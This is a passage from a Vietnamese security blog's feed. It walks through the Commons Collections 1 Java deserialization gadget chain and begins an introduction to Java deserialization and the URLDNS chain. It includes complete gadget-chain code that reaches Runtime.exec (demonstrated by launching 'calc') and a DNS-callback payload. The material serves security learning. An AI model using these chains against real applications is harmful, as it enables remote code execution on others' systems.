class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> org.example;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.Transformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.functors.ChainedTransformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.functors.ConstantTransformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.functors.InvokerTransformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.map.TransformedMap;</span><br><span class="line"><span class="keyword">import</span> java.io.*;</span><br><span class="line"><span class="keyword">import</span> java.lang.annotation.Annotation;</span><br><span class="line"><span class="keyword">import</span> java.lang.annotation.Target;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.*;</span><br><span class="line"><span class="keyword">import</span> java.util.*;</span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">testTransformedMap</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">serialize</span><span class="params">(Object obj)</span> <span class="keyword">throws</span> IOException &#123;</span><br><span class="line">        <span class="type">ObjectOutputStream</span> <span class="variable">oos</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ObjectOutputStream</span>(<span class="keyword">new</span> <span class="title class_">FileOutputStream</span>(<span class="string">&quot;ser.bin&quot;</span>));</span><br><span class="line">        oos.writeObject(obj);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> Object <span class="title function_">unserialize</span><span class="params">(String Filename)</span> <span class="keyword">throws</span> IOException, ClassNotFoundException&#123;</span><br><span class="line">        <span class="type">ObjectInputStream</span> <span class="variable">ois</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ObjectInputStream</span>(<span class="keyword">new</span> <span class="title class_">FileInputStream</span>(Filename));</span><br><span class="line">        <span class="type">Object</span> <span class="variable">obj</span> <span class="operator">=</span> ois.readObject();</span><br><span class="line">        <span class="keyword">return</span> obj;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">        String[] cmd = <span class="keyword">new</span> <span class="title class_">String</span>[] &#123;<span class="string">&quot;calc&quot;</span>&#125;;</span><br><span class="line">        HashMap&lt;Object, Object&gt; hashMap = <span class="keyword">new</span> <span class="title class_">HashMap</span>&lt;&gt;();</span><br><span class="line">        hashMap.put(<span class="string">&quot;value&quot;</span>, <span class="string">&quot;testtt&quot;</span>);</span><br><span class="line">        Transformer[] transformers = &#123;</span><br><span class="line">                <span class="keyword">new</span> <span class="title class_">InvokerTransformer</span>(<span class="string">&quot;getDeclaredMethod&quot;</span>, <span class="keyword">new</span> <span class="title class_">Class</span>[]&#123;String.class, Class[].class&#125;, <span class="keyword">new</span> <span class="title class_">Object</span>[]&#123;<span class="string">&quot;getRuntime&quot;</span>, <span class="literal">null</span>&#125;),</span><br><span class="line">                <span class="keyword">new</span> <span class="title class_">InvokerTransformer</span>(<span class="string">&quot;invoke&quot;</span>, <span class="keyword">new</span> <span class="title class_">Class</span>[]&#123;Object.class, Object[].class&#125;, <span class="keyword">new</span> <span class="title class_">Object</span>[]&#123;<span class="literal">null</span>, <span class="literal">null</span>&#125;),</span><br><span class="line">                <span class="keyword">new</span> <span class="title class_">InvokerTransformer</span>(<span class="string">&quot;exec&quot;</span>, <span class="keyword">new</span> <span class="title class_">Class</span>[]&#123;String.class&#125;, <span class="keyword">new</span> <span class="title class_">String</span>[]&#123;<span class="string">&quot;calc&quot;</span>&#125;)</span><br><span class="line">        &#125;;</span><br><span class="line">        <span class="type">ChainedTransformer</span> <span class="variable">chainedTransformer</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ChainedTransformer</span>(transformers);</span><br><span class="line">        Map&lt;Object, Object&gt; map = (TransformedMap) TransformedMap.decorate(hashMap, <span class="literal">null</span>, chainedTransformer);</span><br><span class="line">        <span class="type">Class</span> <span class="variable">aihClass</span> <span class="operator">=</span> Class.forName(<span class="string">&quot;sun.reflect.annotation.AnnotationInvocationHandler&quot;</span>);</span><br><span class="line">        <span class="type">Constructor</span> <span class="variable">aihClassConstructor</span> <span class="operator">=</span> aihClass.getDeclaredConstructor(Class.class, Map.class);</span><br><span class="line">        aihClassConstructor.setAccessible(<span class="literal">true</span>);</span><br><span class="line">        <span class="type">Object</span> <span class="variable">aihObject</span> <span class="operator">=</span> aihClassConstructor.newInstance(Target.class, map);</span><br><span class="line">        serialize(aihObject);</span><br><span class="line">        unserialize(<span class="string">&quot;ser.bin&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></li></ul><p><img src="https://raw.githubusercontent.com/rayinaw/rayinaw.github.io/main/2022/11/04/Commons-Collections1-TransformedMap/var7-setOk.png"></p><p>Chúng ta đã vượt qua được if đầu tiên, và đồng thời if thứ 2 cũng đã vượt qua (không cần để ý đến vì toàn code gốc, đọc vào sẽ tốn thời gian của chúng ta thui à). Tuy nhiên vẫn chưa đủ để exec calc bởi vì chúng ta chưa xử lý vấn đề không điều khiển được <code>AnnotationTypeMismatchExceptionProxy</code>.</p><h3 id="Giai-quyet-van-de-khong-dieu-khien-duoc-AnnotationTypeMismatchExceptionProxy"><a href="#Giai-quyet-van-de-khong-dieu-khien-duoc-AnnotationTypeMismatchExceptionProxy" class="headerlink" title="Giải quyết vấn đề không điều khiển được AnnotationTypeMismatchExceptionProxy"></a>Giải quyết vấn đề không điều khiển được AnnotationTypeMismatchExceptionProxy</h3><p><img src="https://raw.githubusercontent.com/rayinaw/rayinaw.github.io/main/2022/11/04/Commons-Collections1-TransformedMap/ConstantTransformer.png"></p><p>Đến đây mọi thứ được lập trình ra vẫn hỗ trợ cho chain của chúng ta :), lớp <code>ConstantTransformer</code> tương tự như InvokerTransformer tuy nhiên khi thực hiện transform, thằng <code>ConstantTransformer</code> sẽ trực tiếp return ra Object mình truyền vào ở hàm tạo chứ không phải Object truyền vào ở hàm Transform, Object này sẽ nối tiếp cho chuỗi sau.<br>Vậy là chúng ta có thể thực hiện <code>x.Transform(new AnnotationTypeMismatchExceptionProxy....)</code></p><p>Từ đây chúng ta có chuỗi hoàn chỉnh sau:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> org.example;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.Transformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.functors.ChainedTransformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.functors.ConstantTransformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.functors.InvokerTransformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.map.TransformedMap;</span><br><span class="line"><span class="keyword">import</span> java.io.*;</span><br><span class="line"><span class="keyword">import</span> java.lang.annotation.Annotation;</span><br><span class="line"><span class="keyword">import</span> java.lang.annotation.Target;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.*;</span><br><span class="line"><span class="keyword">import</span> java.util.*;</span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">testTransformedMap</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">serialize</span><span class="params">(Object obj)</span> <span class="keyword">throws</span> IOException &#123;</span><br><span class="line">        <span class="type">ObjectOutputStream</span> <span class="variable">oos</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ObjectOutputStream</span>(<span class="keyword">new</span> <span class="title class_">FileOutputStream</span>(<span class="string">&quot;ser.bin&quot;</span>));</span><br><span class="line">        oos.writeObject(obj);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> Object <span class="title function_">unserialize</span><span class="params">(String Filename)</span> <span class="keyword">throws</span> IOException, ClassNotFoundException&#123;</span><br><span class="line">        <span class="type">ObjectInputStream</span> <span class="variable">ois</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ObjectInputStream</span>(<span class="keyword">new</span> <span class="title class_">FileInputStream</span>(Filename));</span><br><span class="line">        <span class="type">Object</span> <span class="variable">obj</span> <span class="operator">=</span> ois.readObject();</span><br><span class="line">        <span class="keyword">return</span> obj;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">        String[] cmd = <span class="keyword">new</span> <span class="title class_">String</span>[] &#123;<span class="string">&quot;calc&quot;</span>&#125;;</span><br><span class="line">        HashMap&lt;Object, Object&gt; hashMap = <span class="keyword">new</span> <span class="title class_">HashMap</span>&lt;&gt;();</span><br><span class="line">        hashMap.put(<span class="string">&quot;value&quot;</span>, <span class="string">&quot;test-value&quot;</span>);</span><br><span class="line">        Transformer[] transformers = &#123;</span><br><span class="line">                <span class="keyword">new</span> <span class="title class_">ConstantTransformer</span>(Runtime.class),</span><br><span class="line">                <span class="keyword">new</span> <span class="title class_">InvokerTransformer</span>(<span class="string">&quot;getDeclaredMethod&quot;</span>, <span class="keyword">new</span> <span class="title class_">Class</span>[]&#123;String.class, Class[].class&#125;, <span class="keyword">new</span> <span class="title class_">Object</span>[]&#123;<span class="string">&quot;getRuntime&quot;</span>, <span class="literal">null</span>&#125;),</span><br><span class="line">                <span class="keyword">new</span> <span class="title class_">InvokerTransformer</span>(<span class="string">&quot;invoke&quot;</span>, <span class="keyword">new</span> <span class="title class_">Class</span>[]&#123;Object.class, Object[].class&#125;, <span class="keyword">new</span> <span class="title class_">Object</span>[]&#123;<span class="literal">null</span>, <span class="literal">null</span>&#125;),</span><br><span class="line">                <span class="keyword">new</span> <span class="title class_">InvokerTransformer</span>(<span class="string">&quot;exec&quot;</span>, <span class="keyword">new</span> <span class="title class_">Class</span>[]&#123;String.class&#125;, <span class="keyword">new</span> <span class="title class_">String</span>[]&#123;<span class="string">&quot;calc&quot;</span>&#125;)</span><br><span class="line">        &#125;;</span><br><span class="line">        <span class="type">ChainedTransformer</span> <span class="variable">chainedTransformer</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ChainedTransformer</span>(transformers);</span><br><span class="line">        Map&lt;Object, Object&gt; map = (TransformedMap) TransformedMap.decorate(hashMap, <span class="literal">null</span>, chainedTransformer);</span><br><span class="line">        <span class="type">Class</span> <span class="variable">aihClass</span> <span class="operator">=</span> Class.forName(<span class="string">&quot;sun.reflect.annotation.AnnotationInvocationHandler&quot;</span>);</span><br><span class="line">        <span class="type">Constructor</span> <span class="variable">aihClassConstructor</span> <span class="operator">=</span> aihClass.getDeclaredConstructor(Class.class, Map.class);</span><br><span class="line">        aihClassConstructor.setAccessible(<span class="literal">true</span>);</span><br><span class="line">        <span class="type">Object</span> <span class="variable">aihObject</span> <span class="operator">=</span> aihClassConstructor.newInstance(Target.class, map);</span><br><span class="line">        serialize(aihObject);</span><br><span class="line">        unserialize(<span class="string">&quot;ser.bin&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>Chạy file và máy tính đã bật lên…</p><h2 id="Loi-ket"><a href="#Loi-ket" class="headerlink" title="Lời kết"></a>Lời kết</h2><p>Và đến đây là mình đã hoàn thành chain <em>Commons Collections 1</em> theo hướng TransformedMap, là chain đầu tiên mình làm và bước chân vào con đường Java Security.<br>Thật sự, khi đọc mã nguồn từ nhà phát hành và tìm hiểu cách các master OOP sử dụng các thư viện, mình nhận thấy rất nhiều kiến thức mình chưa có. Tuy nhiên, nhờ đó, mình đã học được nhiều kiến thức mới về Java OOP.<br>Hy vọng các bạn nào mới bước chân vào Java Security như mình hãy cố gắng nghiên cứu, đọc hiểu từ từ để có thể hiểu một cách rõ nhất về cái đẹp của Java OOP. Thực sự rất khó cho người mới học nên hy vọng các bạn có thể vượt qua ^^.</p><blockquote><p>Chúc các bạn học tốt~</p></blockquote>]]></content:encoded>
      
      
      <category domain="https://rayinaw.github.io/categories/Java/">Java</category>
      
      <category domain="https://rayinaw.github.io/categories/Java/Deserialization/">Deserialization</category>
      
      
      <category domain="https://rayinaw.github.io/tags/Java/">Java</category>
      
      <category domain="https://rayinaw.github.io/tags/Deserialization/">Deserialization</category>
      
      <category domain="https://rayinaw.github.io/tags/Commons-Collections/">Commons Collections</category>
      
      
      <comments>https://rayinaw.github.io/2022/11/04/Commons-Collections1-TransformedMap/#disqus_thread</comments>
      
    </item>
    
    <item>
      <title>Introduction to Java Deserialization</title>
      <link>https://rayinaw.github.io/2022/11/03/JavaDeserializationBasic/</link>
      <guid>https://rayinaw.github.io/2022/11/03/JavaDeserializationBasic/</guid>
      <pubDate>Wed, 02 Nov 2022 19:50:28 GMT</pubDate>
      
        
        
      <description>&lt;p&gt;Bài viết này là về những concept cơ bản của quá trình Serialization và Deserialization và cách mà lỗ hổng Java Deserialization được thực </description>
        
      
      
      
      <content:encoded><![CDATA[<p>Bài viết này là về những concept cơ bản của quá trình Serialization và Deserialization và cách mà lỗ hổng Java Deserialization được thực thi.</p><h1 id="Serialization-va-Deserialization"><a href="#Serialization-va-Deserialization" class="headerlink" title="Serialization và Deserialization"></a>Serialization và Deserialization</h1><h2 id="1-Serialization-va-deserialization-la-gi"><a href="#1-Serialization-va-deserialization-la-gi" class="headerlink" title="1. Serialization và deserialization là gì?"></a>1. Serialization và deserialization là gì?</h2><p>Hiểu một cách đơn giản hai quá trình này là:</p><ul><li>Serialization: Object –&gt; string hay bytecode(với Java)</li><li>Deserialization: string hoặc bytecode –&gt; Object</li></ul><h2 id="2-Nhung-qua-trinh-can-su-dung-den-Serialization"><a href="#2-Nhung-qua-trinh-can-su-dung-den-Serialization" class="headerlink" title="2. Những quá trình cần sử dụng đến Serialization:"></a>2. Những quá trình cần sử dụng đến Serialization:</h2><p>Lưu các đối tượng (ở đây xem như dữ liệu) vào bộ nhớ, tệp, cơ sở dữ liệu,…<br>Truyền các đối tượng qua mạng.<br>Chuyển đối tượng qua RMI.</p><h2 id="3-Trien-khai-qua-trinh-Ser-va-Deser-co-ban"><a href="#3-Trien-khai-qua-trinh-Ser-va-Deser-co-ban" class="headerlink" title="3. Triển khai quá trình Ser và Deser cơ bản:"></a>3. Triển khai quá trình Ser và Deser cơ bản:</h2><p>Ở đây mình tạo một package SerialBasic rồi cho các lớp vào trong package đó.</p><p>File Person.java</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line"><span class="keyword">package</span> SerialBasic;</span><br><span class="line"><span class="keyword">import</span> java.io.Serializable;</span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Person</span> <span class="keyword">implements</span> <span class="title class_">Serializable</span>&#123;</span><br><span class="line">    <span class="keyword">private</span> String name;</span><br><span class="line">    <span class="keyword">private</span> <span class="type">int</span> age;</span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">Person</span><span class="params">()</span>&#123;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">Person</span><span class="params">(String name, <span class="type">int</span> age)</span>&#123;</span><br><span class="line">        <span class="built_in">this</span>.name = name;</span><br><span class="line">        <span class="built_in">this</span>.age = age;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> String <span class="title function_">toString</span><span class="params">()</span>&#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="string">&quot;Person&#123;name=&#x27;&quot;</span>+name+<span class="string">&quot;&#x27; age=&quot;</span>+age+<span class="string">&quot;&#125;&quot;</span>;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>File SerializationTest.java</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line"><span class="keyword">package</span> SerialBasic;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.io.FileOutputStream;</span><br><span class="line"><span class="keyword">import</span> java.io.IOException;</span><br><span class="line"><span class="keyword">import</span> java.io.ObjectOutput;</span><br><span class="line"><span class="keyword">import</span> java.io.ObjectOutputStream;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">SerializationTest</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">serialize</span><span class="params">(Object obj)</span> <span class="keyword">throws</span> IOException &#123;</span><br><span class="line">        <span class="type">ObjectOutputStream</span> <span class="variable">oos</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ObjectOutputStream</span>(<span class="keyword">new</span> <span class="title class_">FileOutputStream</span>(<span class="string">&quot;ser.txt&quot;</span>));</span><br><span class="line">        oos.writeObject(obj);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> IOException &#123;</span><br><span class="line">        <span class="type">Person</span> <span class="variable">person</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Person</span>(<span class="string">&quot;rayinaw&quot;</span>, <span class="number">16</span>);</span><br><span class="line">        serialize(person);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>File DeserializationTest.java</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line"><span class="keyword">package</span> SerialBasic;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.io.FileInputStream;</span><br><span class="line"><span class="keyword">import</span> java.io.IOException;</span><br><span class="line"><span class="keyword">import</span> java.io.ObjectInputStream;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">DeserializationTest</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> Object <span class="title function_">deserialize</span><span class="params">(String FileName)</span> <span class="keyword">throws</span> IOException, ClassNotFoundException &#123;</span><br><span class="line">        <span class="type">ObjectInputStream</span> <span class="variable">ois</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ObjectInputStream</span>(<span class="keyword">new</span> <span class="title class_">FileInputStream</span>(FileName));</span><br><span class="line">        <span class="type">Object</span> <span class="variable">obj</span> <span class="operator">=</span> ois.readObject();</span><br><span class="line">        <span class="keyword">return</span> obj;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> IOException, ClassNotFoundException &#123;</span><br><span class="line">        <span class="type">Person</span> <span class="variable">test</span> <span class="operator">=</span> (Person) deserialize(<span class="string">&quot;ser.txt&quot;</span>);</span><br><span class="line">        System.out.println(test);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>Đầu tiên ta chạy file SerializationTest.java, sau khi chạy xong ta thấy ở trong thư mục cha của src có một file ser.txt mới được tạo.<br>Tiếp đến chạy file DeserializationTest.java:</p><p><img src="https://raw.githubusercontent.com/rayinaw/rayinaw.github.io/main/images/post/IntroduceToDeser/JavaDeserializationBasicPic1.webp"></p><p>Giải thích:</p><ul><li>SerializationTest.java<br>Ban đầu chúng ta khởi tạo một object new FileOutputStream(“ser.txt”), tiếp đến chúng ta khởi tạo một ObjectOutputStream. Rồi thực hiện oos.writeObject(obj) để viết đối tượng vào file ser.txt<figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">ObjectOutputStream</span> <span class="variable">oos</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ObjectOutputStream</span>(<span class="keyword">new</span> <span class="title class_">FileOutputStream</span>(<span class="string">&quot;ser.txt&quot;</span>));  </span><br><span class="line">oos.writeObject(obj);</span><br></pre></td></tr></table></figure></li><li>DeserializationTest.java<figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">ObjectInputStream</span> <span class="variable">ois</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ObjectInputStream</span>(<span class="keyword">new</span> <span class="title class_">FileInputStream</span>(Filename));  </span><br><span class="line"><span class="type">Object</span> <span class="variable">obj</span> <span class="operator">=</span> ois.readObject();</span><br></pre></td></tr></table></figure></li></ul><h1 id="Cach-ma-lo-hong-Deserialization-xay-ra"><a href="#Cach-ma-lo-hong-Deserialization-xay-ra" class="headerlink" title="Cách mà lỗ hổng Deserialization xảy ra:"></a>Cách mà lỗ hổng Deserialization xảy ra:</h1><p>Ở đây mình dùng Intellij để thực hiện, một IDEA rất tiện lợi mà ai làm việc với Java đều sử dụng.<br>Mình chỉ nói đến một chuỗi cơ bản để các bạn có thể hình dung cách thực hiện và bắt đầu với Deserialization trong Java nhé ^^.</p><h2 id="1-HashMap-va-cach-no-gay-ra-lo-hong-Deserialization"><a href="#1-HashMap-va-cach-no-gay-ra-lo-hong-Deserialization" class="headerlink" title="1. HashMap và cách nó gây ra lỗ hổng Deserialization:"></a>1. HashMap và cách nó gây ra lỗ hổng Deserialization:</h2><p>Gõ <strong>Ctrl + N</strong> và tìm kiếm lớp <strong>HashMap</strong>:</p><p><img src="https://raw.githubusercontent.com/rayinaw/rayinaw.github.io/main/images/post/IntroduceToDeser/JavaDeserializationBasicPic2.webp"></p><p>Lớp HashMap này có implements lớp Serializable vậy nên chúng ta có thể dùng nó để lợi dụng quá trình Ser và Deser.</p><p>Tiếp theo mở phần Structure và tìm kiến method <strong>readObject</strong> của lớp <strong>HashMap</strong>:</p><p><img src="https://raw.githubusercontent.com/rayinaw/rayinaw.github.io/main/images/post/IntroduceToDeser/JavaDeserializationBasicPic3.webp"></p><p>Trong method readObject ta thấy có phần quan trọng ở đây:</p><ul><li>Đầu tiên thực hiện gán key và value &#x3D; s.readObject()</li><li>Sau đó thực hiện hàm putVal(), điểm cần chú ý ở đây là nó đưa key vào method hash().<br><img src="https://raw.githubusercontent.com/rayinaw/rayinaw.github.io/main/images/post/IntroduceToDeser/putValinReadObject.png"></li></ul><p><code>Ctrl + Chuột</code> trái để đi vào phương thức hash():<br><img src="https://raw.githubusercontent.com/rayinaw/rayinaw.github.io/main/images/post/IntroduceToDeser/hash.png"><br>Trong phương thức hash này, nếu key &#x3D;&#x3D; null sẽ return 0, còn không thì sẽ thực hiện <code>h = key.hashCode()) ^ (h &gt;&gt;&gt; 16)</code> rồi return h.<br>Điểm mà chúng ta cần chú ý ở đây là nó thực hiện key.hashCode() mình sẽ đi sâu một chút cho các bạn dễ hiểu:</p><ul><li>Trong Java có một lớp là cha của mọi lớp đó là lớp Object, nó có các phương thức như toString(), hashCode(),…</li><li>key là một object của lớp hashMap mà implements ngầm lớp Object (vì nó cha của mọi lớp mà) vậy nên nó thừa hưởng các phương thức của lớp Object. Nên ở đây chúng ta có thể gọi key.hashCode()</li></ul><p>Việc gọi hashCode() ở đây có ý nghĩa gì thì chúng ta cùng đi sâu vào chuổi URLDNS nhé!</p><h2 id="2-Phan-tich-chuoi-URLDNS"><a href="#2-Phan-tich-chuoi-URLDNS" class="headerlink" title="2. Phân tích chuỗi URLDNS:"></a>2. Phân tích chuỗi URLDNS:</h2><p>Chuỗi URLDNS là một chuỗi đơn giản nhất trong các gadget chain (đương nhiên sẽ hơi khó hiểu với người bắt đầu, keep going ^^). Chuỗi này không thực sự gây ra một vấn đề gì nghiêm trọng như là RCE hay là SSRF…, kết quả của chuỗi này là thực hiện một yêu cầu DNS đến địa chỉ mà chúng ta đưa vào. Nó có kết quả phải không nào ^^, vậy nên chuỗi này sẽ giúp các bạn biết được một gadget chain sẽ xảy ra như thế nào. Cố gắng viết code, đọc hiểu để nhanh tiến bộ nhé ٩(^‿^)۶…</p><p>Chuỗi thực thi của URLDNS như sau:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">Gadget Chain:</span><br><span class="line">    HashMap.readObject()</span><br><span class="line">        HashMap.putVal()</span><br><span class="line">            HashMap.hash()</span><br><span class="line">                URL.hashCode()</span><br></pre></td></tr></table></figure><p>Để tạo một HashMap, đầu tiên chúng ta thực hiện tạo một object hashmap, sau đó chúng ta sẽ thực hiện hàm put() để đưa dữ liệu vào trong object HashMap đó.</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> IOException &#123;</span><br><span class="line"></span><br><span class="line">        HashMap&lt;URL, Integer&gt; hashmap = <span class="keyword">new</span> <span class="title class_">HashMap</span>&lt;URL, Integer&gt;();</span><br><span class="line">        hashmap.put(<span class="keyword">new</span> <span class="title class_">URL</span>(<span class="string">&quot;https://0tvykt.dnslog.cn&quot;</span>), <span class="number">1</span>);</span><br><span class="line">        serialize(hashmap);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>Ở đây tham số đầu tiên của hàm put() là một object key, và tham số thứ hai là value. Hai biến này tương ứng với key và value mình đã phân tích ở trên phần phân tích về HashMap. Ở đây vì key nhận vào là một object nên ở đây chúng ta sẽ tạo một object URL để thực hiện chain này.<br>Bây giờ, giả sử như chúng ta thực hiện readObject hashmap, nó sẽ đi theo sơ đồ:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">Gadget Chain:</span><br><span class="line">    HashMap.readObject()</span><br><span class="line">        HashMap.putVal()</span><br><span class="line">            HashMap.hash()</span><br><span class="line">                URL.hashCode()</span><br></pre></td></tr></table></figure><p>Và đến đây, phương thức hashCode() được gọi sau khi readObject() sẽ phát huy tác dụng. Chúng ta sẽ đi sâu vào phần này:<br>Tiếp tục chúng ta tìm class URL rồi tìm đến method hashCode().<br><img src="https://raw.githubusercontent.com/rayinaw/rayinaw.github.io/main/images/post/IntroduceToDeser/HashCodeOfURLObject.webp"></p><p>Ở đây, phương thức <code>hashCode()</code> của lớp Object đã được định nghĩa lại trong lớp URL:</p><ul><li>Nếu <code>hashCode</code> không bằng -1 thì sẽ thực hiện 